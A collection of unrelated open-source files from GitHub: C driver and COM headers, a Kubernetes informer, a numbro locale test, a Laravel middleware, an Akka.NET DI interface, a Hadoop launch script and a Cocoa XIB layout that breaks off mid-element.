(*i2s_mclk_changed)(struct snd_ice1712 *ice); } gpio; struct mutex gpio_mutex; /* other board-specific data */ void *spec; /* VT172x specific */ int pro_rate_default; int (*is_spdif_master)(struct snd_ice1712 *ice); unsigned int (*get_rate)(struct snd_ice1712 *ice); void (*set_rate)(struct snd_ice1712 *ice, unsigned int rate); unsigned char (*set_mclk)(struct snd_ice1712 *ice, unsigned int rate); int (*set_spdif_clock)(struct snd_ice1712 *ice, int type); int (*get_spdif_master_type)(struct snd_ice1712 *ice); char **ext_clock_names; int ext_clock_count; void (*pro_open)(struct snd_ice1712 *, struct snd_pcm_substream *); #ifdef CONFIG_PM int (*pm_suspend)(struct snd_ice1712 *); int (*pm_resume)(struct snd_ice1712 *); unsigned int pm_suspend_enabled:1; unsigned int pm_saved_is_spdif_master:1; unsigned int pm_saved_spdif_ctrl; unsigned char pm_saved_spdif_cfg; unsigned int pm_saved_route; #endif }; /* * gpio access functions */ static inline void snd_ice1712_gpio_set_dir(struct snd_ice1712 *ice, unsigned int bits) { ice->gpio.set_dir(ice, bits); } static inline unsigned int snd_ice1712_gpio_get_dir(struct snd_ice1712 *ice) { return ice->gpio.get_dir(ice); } static inline void snd_ice1712_gpio_set_mask(struct snd_ice1712 *ice, unsigned int bits) { ice->gpio.set_mask(ice, bits); } static inline void snd_ice1712_gpio_write(struct snd_ice1712 *ice, unsigned int val) { ice->gpio.set_data(ice, val); } static inline unsigned int snd_ice1712_gpio_read(struct snd_ice1712 *ice) { return ice->gpio.get_data(ice); } /* * save and restore gpio status * The access to gpio will be protected by mutex, so don't forget to * restore! */ static inline void snd_ice1712_save_gpio_status(struct snd_ice1712 *ice) { mutex_lock(&ice->gpio_mutex); ice->gpio.saved[0] = ice->gpio.direction; ice->gpio.saved[1] = ice->gpio.write_mask; } static inline void snd_ice1712_restore_gpio_status(struct snd_ice1712 *ice) { ice->gpio.set_dir(ice, ice->gpio.saved[0]); ice->gpio.set_mask(ice, ice->gpio.saved[1]); ice->gpio.direction = ice->gpio.saved[0]; ice->gpio.write_mask = ice->gpio.saved[1]; mutex_unlock(&ice->gpio_mutex); } /* for bit controls */ #define ICE1712_GPIO(xiface, xname, xindex, mask, invert, xaccess) \ { .iface = xiface, .name = xname, .access = xaccess, .info = snd_ctl_boolean_mono_info, \ .get = snd_ice1712_gpio_get, .put = snd_ice1712_gpio_put, \ .private_value = mask | (invert << 24) } int snd_ice1712_gpio_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol); int snd_ice1712_gpio_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol); /* * set gpio direction, write mask and data */ static inline void snd_ice1712_gpio_write_bits(struct snd_ice1712 *ice, unsigned int mask, unsigned int bits) { unsigned val; ice->gpio.direction |= mask; snd_ice1712_gpio_set_dir(ice, ice->gpio.direction); val = snd_ice1712_gpio_read(ice); val &= ~mask; val |= mask & bits; snd_ice1712_gpio_write(ice, val); } static inline int snd_ice1712_gpio_read_bits(struct snd_ice1712 *ice, unsigned int mask) { ice->gpio.direction &= ~mask; snd_ice1712_gpio_set_dir(ice, ice->gpio.direction); return snd_ice1712_gpio_read(ice) & mask; } /* route access functions */ int snd_ice1724_get_route_val(struct snd_ice1712 *ice, int shift); int snd_ice1724_put_route_val(struct snd_ice1712 *ice, unsigned int val, int shift); int snd_ice1712_spdif_build_controls(struct snd_ice1712 *ice); int snd_ice1712_akm4xxx_init(struct snd_akm4xxx *ak, const struct snd_akm4xxx *template, const struct snd_ak4xxx_private *priv, struct snd_ice1712 *ice); void snd_ice1712_akm4xxx_free(struct snd_ice1712 *ice); int snd_ice1712_akm4xxx_build_controls(struct snd_ice1712 *ice); int snd_ice1712_init_cs8427(struct snd_ice1712 *ice, int addr); static inline void snd_ice1712_write(struct snd_ice1712 *ice, u8 addr, u8 data) { outb(addr, ICEREG(ice, INDEX)); outb(data, ICEREG(ice, DATA)); } static inline u8 snd_ice1712_read(struct snd_ice1712 *ice, u8 addr) { outb(addr, ICEREG(ice, INDEX)); return inb(ICEREG(ice, DATA)); } /* * entry pointer */ struct snd_ice1712_card_info { unsigned int subvendor; char *name; char *model; char *driver; int (*chip_init)(struct snd_ice1712 *); int (*build_controls)(struct snd_ice1712 *); unsigned int no_mpu401:1; unsigned int mpu401_1_info_flags; unsigned int mpu401_2_info_flags; const char *mpu401_1_name; const char *mpu401_2_name; const unsigned int eeprom_size; const unsigned char *eeprom_data; }; #endif /* __SOUND_ICE1712_H */
{ "pile_set_name": "Github" }
module.exports = require('./readable').Duplex
{ "pile_set_name": "Github" }
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by informer-gen. DO NOT EDIT. package example import ( v1 "k8s.io/code-generator/_examples/apiserver/informers/externalversions/example/v1" internalinterfaces "k8s.io/code-generator/_examples/apiserver/informers/externalversions/internalinterfaces" ) // Interface provides access to each of this group's versions. type Interface interface { // V1 provides access to shared informers for resources in V1. V1() v1.Interface } type group struct { factory internalinterfaces.SharedInformerFactory namespace string tweakListOptions internalinterfaces.TweakListOptionsFunc } // New returns a new Interface. func New(f internalinterfaces.SharedInformerFactory, namespace string, tweakListOptions internalinterfaces.TweakListOptionsFunc) Interface { return &group{factory: f, namespace: namespace, tweakListOptions: tweakListOptions} } // V1 returns a new v1.Interface. func (g *group) V1() v1.Interface { return v1.New(g.factory, g.namespace, g.tweakListOptions) }
{ "pile_set_name": "Github" }
#pragma once #if !defined(RM_TERRAIN_H_INC) #define RM_TERRAIN_H_INC #define MAX_RANDOM_MODELS 8 class CRandomModel { private: char mModelName[MAX_QPATH]; float mFrequency; float mMinScale; float mMaxScale; public: CRandomModel(void) { } ~CRandomModel(void) { } // Accessors const bool GetModel( void ) const { return(!!strlen(mModelName)); } const char *GetModelName( void ) const { return(mModelName); } void SetModel(const char *name) { Com_sprintf(mModelName, MAX_QPATH, "%s.md3", name); } const float GetFrequency(void) const { return(mFrequency); } void SetFrequency(const float freq) { mFrequency = freq; } const float GetMinScale(void) const { return(mMinScale); } void SetMinScale(const float minscale) { mMinScale = minscale; } const float GetMaxScale(void) const { return(mMaxScale); } void SetMaxScale(const float maxscale) { mMaxScale = maxscale; } }; class CCGHeightDetails { private: int mNumModels; int mTotalFrequency; CRandomModel mModels[MAX_RANDOM_MODELS]; public: // Constructors CCGHeightDetails( void ) { memset(this, 0, sizeof(*this)); } ~CCGHeightDetails( void ) { } // Accessors const int GetNumModels(void) const { return(mNumModels); } const int GetAverageFrequency(void) const { return(mTotalFrequency / mNumModels); } // Prototypes void AddModel(const CRandomModel *hd); CRandomModel *GetRandomModel(CCMLandScape *land); }; class CCGPatch { private: class CCMLandScape *owner; class CCGLandScape *localowner; CCMPatch *common; public: }; class CRMLandScape { private: CCMLandScape *common; byte *mDensityMap; // Data image of model densities int mModelCount; // Count of spawned client models CCGHeightDetails mHeightDetails[HEIGHT_RESOLUTION]; // Array of info specific to height public: CRMLandScape(void); ~CRMLandScape(void); // Accessors void SetCommon(CCMLandScape *landscape) { common = landscape; } const CCMLandScape *GetCommon( void ) const { return(common); } const thandle_t GetCommonId( void ) const { return(common->GetTerrainId()); } const int GetTerxels(void) const { return(common->GetTerxels()); } const int GetRealWidth(void) const { return(common->GetRealWidth()); } const float GetPatchScalarSize(void) const { return(common->GetPatchScalarSize()); } const CCGHeightDetails *GetHeightDetail(int height) const { return(mHeightDetails + height); } void ClearModelCount(void) { mModelCount = 0; } const int GetModelCount(void) const { return(mModelCount); } // Prototypes void SetShaders(const int height, const qhandle_t shader); void AddModel(const int height, int maxheight, const CRandomModel *hd); void LoadMiscentDef(const char *td); void LoadDensityMap(const char *td); void SpawnPatchModels(CCMPatch *patch); void Sprinkle(CCMPatch *patch, CCGHeightDetails *hd, int level); void CreateRandomDensityMap(byte *imageData, int width, int height, int seed); }; void RM_CreateRandomModels(int terrainId, const char *terrainInfo); void RM_InitTerrain(void); void RM_ShutdownTerrain(void); #endif // RM_TERRAIN_H_INC
{ "pile_set_name": "Github" }
/*** Autogenerated by WIDL 1.6 from include/tlbref.idl - Do not edit ***/ #ifndef __REQUIRED_RPCNDR_H_VERSION__ #define __REQUIRED_RPCNDR_H_VERSION__ 475 #endif #include <rpc.h> #include <rpcndr.h> #ifndef COM_NO_WINDOWS_H #include <windows.h> #include <ole2.h> #endif #ifndef __tlbref_h__ #define __tlbref_h__ /* Forward declarations */ #ifndef __ITypeLibResolver_FWD_DEFINED__ #define __ITypeLibResolver_FWD_DEFINED__ typedef interface ITypeLibResolver ITypeLibResolver; #endif /* Headers for imported files */ #include <oaidl.h> #ifdef __cplusplus extern "C" { #endif /** * This file is part of the mingw-w64 runtime package. * No warranty is given; refer to the file DISCLAIMER within this package. */ #include <winapifamily.h> #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) /***************************************************************************** * ITypeLibResolver interface */ #ifndef __ITypeLibResolver_INTERFACE_DEFINED__ #define __ITypeLibResolver_INTERFACE_DEFINED__ DEFINE_GUID(IID_ITypeLibResolver, 0x8f026edb, 0x785e, 0x4470, 0xa8,0xe1, 0xb4,0xe8,0x4e,0x9d,0x17,0x79); #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("8f026edb-785e-4470-a8e1-b4e84e9d1779") ITypeLibResolver : public IUnknown { virtual HRESULT STDMETHODCALLTYPE ResolveTypeLib( BSTR bstrSimpleName, GUID tlbid, LCID lcid, USHORT wMajorVersion, USHORT wMinorVersion, SYSKIND syskind, BSTR *pbstrResolvedTlbName) = 0; }; #ifdef __CRT_UUID_DECL __CRT_UUID_DECL(ITypeLibResolver, 0x8f026edb, 0x785e, 0x4470, 0xa8,0xe1, 0xb4,0xe8,0x4e,0x9d,0x17,0x79) #endif #else typedef struct ITypeLibResolverVtbl { BEGIN_INTERFACE /*** IUnknown methods ***/ HRESULT (STDMETHODCALLTYPE *QueryInterface)( ITypeLibResolver* This, REFIID riid, void **ppvObject); ULONG (STDMETHODCALLTYPE *AddRef)( ITypeLibResolver* This); ULONG (STDMETHODCALLTYPE *Release)( ITypeLibResolver* This); /*** ITypeLibResolver methods ***/ HRESULT (STDMETHODCALLTYPE *ResolveTypeLib)( ITypeLibResolver* This, BSTR bstrSimpleName, GUID tlbid, LCID lcid, USHORT wMajorVersion, USHORT wMinorVersion, SYSKIND syskind, BSTR *pbstrResolvedTlbName); END_INTERFACE } ITypeLibResolverVtbl; interface ITypeLibResolver { CONST_VTBL ITypeLibResolverVtbl* lpVtbl; }; #ifdef COBJMACROS #ifndef WIDL_C_INLINE_WRAPPERS /*** IUnknown methods ***/ #define ITypeLibResolver_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject) #define ITypeLibResolver_AddRef(This) (This)->lpVtbl->AddRef(This) #define ITypeLibResolver_Release(This) (This)->lpVtbl->Release(This) /*** ITypeLibResolver methods ***/ #define ITypeLibResolver_ResolveTypeLib(This,bstrSimpleName,tlbid,lcid,wMajorVersion,wMinorVersion,syskind,pbstrResolvedTlbName) (This)->lpVtbl->ResolveTypeLib(This,bstrSimpleName,tlbid,lcid,wMajorVersion,wMinorVersion,syskind,pbstrResolvedTlbName) #else /*** IUnknown methods ***/ static FORCEINLINE HRESULT ITypeLibResolver_QueryInterface(ITypeLibResolver* This,REFIID riid,void **ppvObject) { return This->lpVtbl->QueryInterface(This,riid,ppvObject); } static FORCEINLINE ULONG ITypeLibResolver_AddRef(ITypeLibResolver* This) { return This->lpVtbl->AddRef(This); } static FORCEINLINE ULONG ITypeLibResolver_Release(ITypeLibResolver* This) { return This->lpVtbl->Release(This); } /*** ITypeLibResolver methods ***/ static FORCEINLINE HRESULT ITypeLibResolver_ResolveTypeLib(ITypeLibResolver* This,BSTR bstrSimpleName,GUID tlbid,LCID lcid,USHORT wMajorVersion,USHORT wMinorVersion,SYSKIND syskind,BSTR *pbstrResolvedTlbName) { return This->lpVtbl->ResolveTypeLib(This,bstrSimpleName,tlbid,lcid,wMajorVersion,wMinorVersion,syskind,pbstrResolvedTlbName); } #endif #endif #endif HRESULT STDMETHODCALLTYPE ITypeLibResolver_ResolveTypeLib_Proxy( ITypeLibResolver* This, BSTR bstrSimpleName, GUID tlbid, LCID lcid, USHORT wMajorVersion, USHORT wMinorVersion, SYSKIND syskind, BSTR *pbstrResolvedTlbName); void __RPC_STUB ITypeLibResolver_ResolveTypeLib_Stub( IRpcStubBuffer* This, IRpcChannelBuffer* pRpcChannelBuffer, PRPC_MESSAGE pRpcMessage, DWORD* pdwStubPhase); #endif /* __ITypeLibResolver_INTERFACE_DEFINED__ */ STDAPI LoadTypeLibWithResolver (LPCOLESTR szFile, REGKIND regkind, ITypeLibResolver *pTlbResolver, ITypeLib **pptlib); STDAPI GetTypeLibInfo (LPWSTR szFile, GUID *pTypeLibID, LCID *pTypeLibLCID, SYSKIND *pTypeLibPlatform, USHORT *pTypeLibMajorVer, USHORT *pTypeLibMinorVer); #endif /* Begin additional prototypes for all interfaces */ ULONG __RPC_USER BSTR_UserSize (ULONG *, ULONG, BSTR *); unsigned char * __RPC_USER BSTR_UserMarshal (ULONG *, unsigned char *, BSTR *); unsigned char * __RPC_USER BSTR_UserUnmarshal(ULONG *, unsigned char *, BSTR *); void __RPC_USER BSTR_UserFree (ULONG *, BSTR *); /* End additional prototypes */ #ifdef __cplusplus } #endif #endif /* __tlbref_h__ */
{ "pile_set_name": "Github" }
const numbro = require("../../src/numbro"); const esCL = require("../../languages/es-CL"); describe("es-CL", () => { beforeAll(() => { numbro.registerLanguage(esCL, true); }); afterAll(() => { numbro.setLanguage("en-US"); }); it("formats correctly", () => { let data = [ [10000, "0,0.0000", "10.000,0000"], [10000.23, "0,0", "10.000,23"], [-10000, "0,0.0", "-10.000,0"], [10000.1234, "0.000", "10000,123"], [-10000, "(0,0.0000)", "(10.000,0000)"], [-0.23, ".00", "-,23"], [-0.23, "(.00)", "(,23)"], [0.23, "0.00000", "0,23000"], [1230974, "0.0a", "1,2mm"], [1460, "0a", "1k"], [-104000, "0a", "-104k"], [1, "0o", "1er"], [52, "0o", "52do"], [23, "0o", "23er"], [100, "0o", "100mo"], [108, "0o", "108vo"], [109, "0o", "109no"], [1, "0[.]0", "1"] ]; data.forEach(([input, format, expectedResult]) => { let result = numbro(input).format(format); expect(result).toBe(expectedResult, `Should format correctly ${input} with ${format}`); }); }); it("formats currency correctly", () => { let data = [ [1000.234, "$0,0.00", "$1.000,23"], [-1000.234, "($0,0)", "$(1.000,234)"], [-1000.234, "$0,0.00", "-$1.000,23"], [1230974, "($0.00a)", "$1,23mm"] ]; data.forEach(([input, format, expectedResult]) => { let result = numbro(input).format(format); expect(result).toBe(expectedResult, `Should format currency correctly ${input} with ${format}`); }); }); it("formats percentage correctly", () => { let data = [ [1, "0%", "100%"], [0.974878234, "0.000%", "97,488%"], [-0.43, "0%", "-43%"], [0.43, "(0.000%)", "43,000%"] ]; data.forEach(([input, format, expectedResult]) => { let result = numbro(input).format(format); expect(result).toBe(expectedResult, `Should format percentage correctly ${input} with ${format}`); }); }); it("unformats correctly", () => { let data = [ ["10.000,123", 10000.123], ["(0,12345)", -0.12345], ["($1,23mm)", -1230000], ["10k", 10000], ["-10k", -10000], ["23er", 23], ["$10.000,00", 10000], ["-76%", -0.76], ["2:23:57", 8637] ]; data.forEach(([input, expectedResult]) => { let result = numbro.unformat(input); expect(result).toBe(expectedResult, `Should unformat correctly ${input}`); }); }); });
{ "pile_set_name": "Github" }
/* * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * Mach Operating System * Copyright (c) 1989 Carnegie-Mellon University * Copyright (c) 1988 Carnegie-Mellon University * Copyright (c) 1987 Carnegie-Mellon University * All rights reserved. The CMU software License Agreement specifies * the terms and conditions for use and redistribution. */ /* * Definitions for the logstat module. */ #ifndef _LS_DEFS_ #define _LS_DEFS_ #include <sys/types.h> /* * Definition for a log record. */ typedef struct { long code; long thread; long a1; long a2; long a3; long a4; long a5; long a6; } log_rec_t; typedef log_rec_t *log_ptr_t; /* * Statistics record. */ typedef struct { int datagram_pkts_sent; int datagram_pkts_rcvd; int srr_requests_sent; int srr_bcasts_sent; int srr_requests_rcvd; int srr_bcasts_rcvd; int srr_replies_sent; int srr_replies_rcvd; int srr_retries_sent; int srr_retries_rcvd; int srr_cfailures_sent; int srr_cfailures_rcvd; int deltat_dpkts_sent; int deltat_acks_rcvd; int deltat_dpkts_rcvd; int deltat_acks_sent; int deltat_oldpkts_rcvd; int deltat_oospkts_rcvd; int deltat_retries_sent; int deltat_retries_rcvd; int deltat_cfailures_sent; int deltat_cfailures_rcvd; int deltat_aborts_sent; int deltat_aborts_rcvd; int vmtp_requests_sent; int vmtp_requests_rcvd; int vmtp_replies_sent; int vmtp_replies_rcvd; int ipc_in_messages; int ipc_out_messages; int ipc_unblocks_sent; int ipc_unblocks_rcvd; int pc_requests_sent; int pc_requests_rcvd; int pc_replies_rcvd; int pc_startups_rcvd; int nn_requests_sent; int nn_requests_rcvd; int nn_replies_rcvd; int po_ro_hints_sent; int po_ro_hints_rcvd; int po_token_requests_sent; int po_token_requests_rcvd; int po_token_replies_rcvd; int po_xfer_requests_sent; int po_xfer_requests_rcvd; int po_xfer_replies_rcvd; int po_deaths_sent; int po_deaths_rcvd; int ps_requests_sent; int ps_requests_rcvd; int ps_replies_rcvd; int ps_auth_requests_sent; int ps_auth_requests_rcvd; int ps_auth_replies_rcvd; int mallocs_or_vm_allocates; int mem_allocs; int mem_deallocs; int mem_allocobjs; int mem_deallocobjs; int pkts_encrypted; int pkts_decrypted; int vmtp_segs_encrypted; int vmtp_segs_decrypted; int tcp_requests_sent; int tcp_replies_sent; int tcp_requests_rcvd; int tcp_replies_rcvd; int tcp_send; int tcp_recv; int tcp_connect; int tcp_accept; int tcp_close; } stat_t; typedef stat_t *stat_ptr_t; /* * Debugging flags record. */ typedef struct { int print_level; int ipc_in; int ipc_out; int tracing; int vmtp; int netname; int deltat; int tcp; int mem; } debug_t; typedef debug_t *debug_ptr_t; /* * Parameters record. */ typedef struct { int srr_max_tries; int srr_retry_sec; int srr_retry_usec; int deltat_max_tries; int deltat_retry_sec; int deltat_retry_usec; int deltat_msg_life; int pc_checkup_interval; int crypt_algorithm; int transport_default; int conf_network; int conf_netport; int timer_quantum; int tcp_conn_steady; int tcp_conn_opening; int tcp_conn_max; int compat; int syslog; int old_nmmonitor; } param_t; typedef param_t *param_ptr_t; /* * Port statistics record. */ typedef struct { u_int port_id; u_int alive; u_int nport_id_high; u_int nport_id_low; u_int nport_receiver; u_int nport_owner; u_int messages_sent; u_int messages_rcvd; u_int send_rights_sent; u_int send_rights_rcvd_sender; u_int send_rights_rcvd_recown; u_int rcv_rights_xferd; u_int own_rights_xferd; u_int all_rights_xferd; u_int tokens_sent; u_int tokens_requested; u_int xfer_hints_sent; u_int xfer_hints_rcvd; } port_stat_t, *port_stat_ptr_t; extern port_stat_ptr_t port_stat_cur; extern port_stat_ptr_t port_stat_end; extern struct mutex port_stat_lock; /* * Types for the mem_list operation. * * XXX These must be faked, because we cannot include mem.h here * (mutual includes). */ typedef char *mem_class_ptr_t; typedef char *mem_nam_ptr_t; typedef int *mem_bucket_ptr_t; /* * Definitions for print_level. */ #define LS_PRINT_NEVER 5 #define LS_PRINT_LOG 3 #define LS_PRINT_ALWAYS 0 #endif /* _LS_DEFS_ */
{ "pile_set_name": "Github" }
--- platform: linux image_resource: type: docker-image source: repository: starkandwayne/concourse inputs: - name: bucc-ci - name: compiled-releases-in outputs: - name: compiled-releases-clean run: path: bucc-ci/ci/tasks/remove-already-compiled-releases/task
{ "pile_set_name": "Github" }
<?php namespace App\Http\Middleware; use Illuminate\Cookie\Middleware\EncryptCookies as Middleware; class EncryptCookies extends Middleware { /** * The names of the cookies that should not be encrypted. * * @var array */ protected $except = [ // ]; }
{ "pile_set_name": "Github" }
package wowodc.background.components; import com.webobjects.appserver.WOComponent; import com.webobjects.appserver.WOContext; /** * A page to monitor app processes, especially background processes * * @author kieran */ public class AppMonitor extends WOComponent { public AppMonitor(WOContext context) { super(context); } }
{ "pile_set_name": "Github" }
StartChar: u1EE6D Encoding: 126573 126573 5998 Width: 436 Flags: HW LayerCount: 2 Fore Refer: 191 -1 N 1 0 0 1 315 371 2 Refer: 6051 126588 N 1 0 0 1 0 0 3 EndChar
{ "pile_set_name": "Github" }
#!/bin/sh # This is a little utility script for running the whole NodeRunner process # during development. It uses maven to create the classpath, then it # starts the launcher. # This way you can rebuild and relaunch without any additional steps. CP=/tmp/cp.$$ rm -f ${CP} mvn -q -DincludeScope=test -Dmdep.outputFile=${CP} dependency:build-classpath HADOOP_CLASSPATH=`cat ${CP}` export HADOOP_CLASSPATH rm ${CP} #echo "Classpath is set" exec hadoop jar target/*.jar com.apigee.noderunner.samples.hadoop.HadoopMain $*
{ "pile_set_name": "Github" }
///////////////////////////////////////////// // This file is for hero specific // // keybinds. Add any binds below. // ///////////////////////////////////////////// // This is the file for Viper
{ "pile_set_name": "Github" }
//----------------------------------------------------------------------- // <copyright file="IDependencyResolver.cs" company="Akka.NET Project"> // Copyright (C) 2009-2020 Lightbend Inc. <http://www.lightbend.com> // Copyright (C) 2013-2020 .NET Foundation <https://github.com/akkadotnet/akka.net> // </copyright> //----------------------------------------------------------------------- using System; using Akka.Actor; namespace Akka.DI.Core { /// <summary> /// Defines services used by the <see cref="ActorSystem "/> extension system to create actors /// </summary> public interface IDependencyResolver { /// <summary> /// Retrieves an actor's type with the specified name /// </summary> /// <param name="actorName">The name of the actor to retrieve</param> /// <returns>The type with the specified actor name</returns> Type GetType(string actorName); /// <summary> /// Creates a delegate factory used to create actors based on their type /// </summary> /// <param name="actorType">The type of actor that the factory builds</param> /// <returns>A delegate factory used to create actors</returns> Func<ActorBase> CreateActorFactory(Type actorType); /// <summary> /// Used to register the configuration for an actor of the specified type <typeparamref name="TActor"/> /// </summary> /// <typeparam name="TActor">The type of actor the configuration is based</typeparam> /// <returns>The configuration object for the given actor type</returns> Props Create<TActor>() where TActor : ActorBase; /// <summary> /// Used to register the configuration for an actor of the specified type <paramref name="actorType"/> /// </summary> /// <param name="actorType">The <see cref="Type"/> of actor the configuration is based</param> /// <returns>The configuration object for the given actor type</returns> Props Create(Type actorType); /// <summary> /// Signals the container to release it's reference to the actor. /// </summary> /// <param name="actor">The actor to remove from the container</param> void Release(ActorBase actor); } }
{ "pile_set_name": "Github" }
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.default = void 0; var _NodeCollapseOutlined = _interopRequireDefault(require('./lib/icons/NodeCollapseOutlined')); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; } var _default = _NodeCollapseOutlined; exports.default = _default; module.exports = _default;
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <document type="com.apple.InterfaceBuilder3.Cocoa.XIB" version="3.0" toolsVersion="15400" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES" customObjectInstantitationMethod="direct"> <dependencies> <deployment identifier="macosx"/> <plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="15400"/> <capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/> </dependencies> <objects> <customObject id="-2" userLabel="File's Owner" customClass="AVSettingAndConfigController"> <connections> <outlet property="httpProxyTextField" destination="QHF-Xk-b6M" id="xmI-Xr-82J"/> <outlet property="maxBufferTextField" destination="7fg-AY-RFz" id="wGz-a2-0VM"/> <outlet property="maxDelayTextField" destination="iB1-cO-jMA" id="xnf-mg-MXM"/> <outlet property="networkDelayTextField" destination="oJZ-kP-SBr" id="Qg1-fd-ntr"/> <outlet property="probeSizeTextField" destination="kHA-HA-9zT" id="snC-dZ-mP1"/> <outlet property="referTextField" destination="0Dn-Op-TnG" id="A0W-OC-GvR"/> <outlet property="retryCountTextField" destination="ZZU-Dx-hgA" id="Tk9-aY-UIz"/> <outlet property="showLastFrame" destination="Ixd-RE-geH" id="bol-iA-UGc"/> <outlet property="startBufferTextField" destination="591-A2-nhy" id="te7-HL-6GZ"/> <outlet property="stopAndReviveTextField" destination="IjZ-kW-PAk" id="EQX-A4-XkS"/> <outlet property="userAgentTextField" destination="V4F-1Q-P0T" id="Yy1-sh-AHe"/> </connections> </customObject> <customObject id="-1" userLabel="First Responder" customClass="FirstResponder"/> <customObject id="-3" userLabel="Application" customClass="NSObject"/> <customView id="eMD-2g-7b3" customClass="ConfigSetView"> <rect key="frame" x="0.0" y="0.0" width="496" height="433"/> <autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMinY="YES"/> <subviews> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="591-A2-nhy"> <rect key="frame" x="130" y="363" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="pvT-Hs-9Ut"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" title="500" drawsBackground="YES" id="Xm9-Fb-XUT"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="IjZ-kW-PAk"> <rect key="frame" x="130" y="333" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="bvP-jp-eWx"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" title="3000" drawsBackground="YES" id="4RB-Bu-JNe"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="7fg-AY-RFz"> <rect key="frame" x="130" y="303" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="rvf-AD-yUT"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" title="50000" drawsBackground="YES" id="4bv-8h-fe3"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="iB1-cO-jMA"> <rect key="frame" x="130" y="273" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="I71-aj-keh"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" title="5000" drawsBackground="YES" id="QvE-lf-j9d"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="oJZ-kP-SBr"> <rect key="frame" x="130" y="243" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="Ny5-hl-IfQ"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" title="15000" drawsBackground="YES" id="vZi-sZ-4Ag"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/> <color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/> </textFieldCell> </textField> <textField verticalHuggingPriority="750" translatesAutoresizingMaskIntoConstraints="NO" id="kHA-HA-9zT"> <rect key="frame" x="130" y="213" width="356" height="20"/> <constraints> <constraint firstAttribute="height" constant="20" id="Mba-hL-hPP"/> </constraints> <textFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" title="-1" drawsBackground="YES" id="jrh-4C-55c"> <font key="font" usesAppearanceFont="YES"/> <color key="textColor" 